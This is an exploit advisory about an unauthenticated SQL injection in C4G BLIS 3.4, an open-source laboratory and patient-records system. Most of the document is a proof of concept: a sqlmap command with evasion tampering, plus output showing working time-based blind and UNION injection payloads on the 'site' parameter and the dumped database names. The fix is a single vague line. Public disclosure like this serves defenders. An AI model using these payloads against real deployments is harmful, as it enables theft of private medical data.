C4G Basic Laboratory Information System (BLIS) 3.4 SQL Injection

C4G Basic Laboratory Information System (BLIS) version 3.4 suffers from a remote SQL injection vulnerability.

MD5 | c8222b82970286e88034d4ab2e084964

# Exploit Title: C4G Basic Laboratory Information System (BLIS) 3.4 - Multiples SQL Injection
# Date: 01/31/2019
# Software Links/Project: https://github.com/C4G/BLIS | http://blis.cc.gatech.edu/index.php
# Version: C4G Basic Laboratory Information System v3.4
# Exploit Author: Carlos Avila
# Category: webapps
# Tested on: Windows 8.1 / Ubuntu Linux
# Contact: http://twitter.com/badboy_nt

1. Description

C4G Basic Laboratory Information System (BLIS) is an open-source system to track patients, specimens and laboratory results. C4G BLIS is a joint initiative of Computing for Good (C4G) at the Georgia Institute of Technology, the Centers for Disease Control and Prevention (CDC) and Ministries of Health of several countries in Africa.

This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over others inputs.

It written in PHP it is vulnerable to SQL Injection on multiples occurrences. The parameters affected are detailed below: [parameters affected via GET method: site]

2. Proof of Concept

sunday:sqlmap badboy_nt$ python sqlmap.py --url "" --random-agent --tamper randomcase --level 3 --dbms mysql --threads 3 --dbs
___ ___[)]_____ ___ ___ {}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:51:33 /2019-02-01/

[15:51:33] [INFO] loading tamper module 'randomcase'
[15:51:33] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16' from file '/Users/badboy_nt/Tools/sqlmap/txt/user-agents.txt'
[15:51:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: site (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: site=1275969 AND (SELECT * FROM (SELECT(SLEEP(5)))owvW)-- Lzob

Type: UNION query
Title: Generic UNION query (random number) - 12 columns
Payload: site=1275969 UNION ALL SELECT CONCAT(0x71626a7071,0x5754617757446f465a4f41676352594968504a457651676852694d506c69796b6b567643736e6967,0x7171716a71),4936,4936,4936,4936,4936,4936,4936,4936,4936,4936,4936-- tnMf
[15:51:35] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:51:35] [INFO] testing MySQL
[15:51:36] [INFO] confirming MySQL
[15:51:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.4.32
back-end DBMS: MySQL >= 5.0.0
[15:51:37] [INFO] fetching database names
[15:51:38] [INFO] used SQL query returns 4 entries
[15:51:38] [INFO] starting 3 threads
[15:51:39] [INFO] retrieved: 'information_schema'
[15:51:40] [INFO] retrieved: 'blis_127'
[15:51:41] [INFO] retrieved: 'blis_revamp'
[15:51:43] [INFO] retrieved: 'mysql'
available databases [4]:
[*] blis_127
[*] blis_revamp
[*] information_schema
[*] mysql

3. Solution:

Application inputs must be validated correctly throughout the development of the project.

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